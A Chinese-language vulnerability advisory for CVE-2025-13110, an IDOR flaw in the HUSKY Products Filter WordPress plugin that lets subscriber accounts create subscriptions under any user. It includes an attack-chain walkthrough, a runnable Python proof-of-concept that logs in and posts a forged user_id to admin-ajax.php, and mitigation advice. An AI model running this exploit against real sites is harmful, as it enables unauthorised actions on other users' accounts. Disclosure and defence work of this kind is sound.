IPBUF安全漏洞报告
English
CVE-2025-13110 CVSS 4.3 中危

CVE-2025-13110 WordPress HUSKY产品过滤器IDOR漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-13110
漏洞类型
IDOR (不安全的直接对象引用)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
HUSKY – Products Filter Professional for WooCommerce

相关标签

IDORWordPress插件漏洞WooCommerce访问控制绕过CVE-2025-13110HUSKY Products Filter中危漏洞权限提升产品订阅绕过

漏洞概述

CVE-2025-13110是WordPress插件HUSKY – Products Filter Professional for WooCommerce中的一个中危安全漏洞。该插件是一款广受欢迎的WooCommerce产品过滤专业工具,在WordPress生态系统中拥有大量用户。漏洞源于woof_add_subscr函数存在不安全的直接对象引用问题,具体表现为缺少对用户可控制键值的充分验证。由于此安全缺陷,任何具有订阅者(subscriber)级别权限的已认证用户都可以利用该漏洞,在任意用户(包括管理员)名下创建产品消息订阅。这种未经授权的操作可能导致垃圾订阅信息泛滥,用户体验下降,甚至可能作为社会工程攻击的一部分。漏洞影响范围涵盖该插件1.3.7.3及之前的所有版本,CVSS评分为4.3,属于中等严重程度。

技术细节

该漏洞属于OWASP Top 10中的A01:2021 - Broken Access Control类别。技术层面分析如下:漏洞存在于woof_add_subscr函数,该函数负责处理产品订阅功能。问题关键在于函数直接使用用户提供的键值而未进行充分的权限验证和对象所有权检查。攻击者可以通过构造特定的HTTP请求,将目标用户的ID或标识作为参数传递给该函数。由于服务器端缺少对当前认证用户与目标用户一致性的验证,导致攻击者可以代表任意用户创建订阅。具体而言,攻击者发送的请求中包含woof_add_subscr操作的参数,其中user_id字段可被攻击者控制。服务器接收到请求后,未验证请求发起者是否有权代表目标用户执行该操作,直接创建了产品订阅记录。这种IDOR漏洞允许低权限用户修改或创建本不属于他们的资源对象,违反了最小权限原则和对象级别访问控制要求。

攻击链分析

STEP 1
步骤1
攻击者注册并获取WordPress订阅者(subscriber)账户
STEP 2
步骤2
攻击者登录目标网站,获取有效的认证会话cookie
STEP 3
步骤3
攻击者识别目标用户ID(可以是管理员如ID=1)和目标产品ID
STEP 4
步骤4
攻击者构造恶意HTTP请求,发送到wp-admin/admin-ajax.php,action参数设为woof_add_subscr
STEP 5
步骤5
在请求中设置user_id为任意目标用户ID(IDOR漏洞点),product_id为任意产品ID
STEP 6
步骤6
服务器端woof_add_subscr函数接收请求,因缺少用户所有权验证,直接创建订阅记录
STEP 7
步骤7
目标用户(管理员)名下被创建了非授权的产品订阅,攻击完成

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13110 PoC - IDOR in HUSKY Products Filter # Target: WordPress with HUSKY Products Filter Plugin <= 1.3.7.3 def exploit_idor(target_url, username, password, target_user_id, product_id): """ Exploit IDOR vulnerability in woof_add_subscr function Allows authenticated subscribers to create subscriptions for arbitrary users Args: target_url: Target WordPress site URL username: Attacker username (subscriber role) password: Attacker password target_user_id: ID of user to create subscription for (e.g., 1 for admin) product_id: Product ID to subscribe to """ session = requests.Session() # Step 1: Authenticate as subscriber login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful as subscriber") # Step 2: Exploit IDOR to create subscription for target user exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'woof_add_subscr', 'user_id': target_user_id, # IDOR: arbitrary user ID 'product_id': product_id, 'notification_type': 'price_drop' # or other notification types } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f"[+] Subscription created for user ID {target_user_id}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed with status {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print(f"Usage: python {sys.argv[0]} <url> <username> <password> <target_user_id> <product_id>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] target_uid = sys.argv[4] prod_id = sys.argv[5] exploit_idor(target, user, pwd, target_uid, prod_id)

影响范围

HUSKY – Products Filter Professional for WooCommerce <= 1.3.7.3

防御指南

临时缓解措施
如果无法立即更新插件,可以采取以下临时缓解措施:1) 限制订阅者角色的权限,确保其无法访问管理后台的AJAX端点;2) 使用WordPress安全插件(如Wordfence)添加额外的访问控制规则;3) 暂时禁用产品订阅功能;4) 监控wp-admin/admin-ajax.php的访问日志,检测异常的woof_add_subscr请求;5) 考虑使用Web应用防火墙(WAF)规则拦截可疑请求。但这些措施仅为临时解决方案,强烈建议尽快升级到插件最新版本以根本修复漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表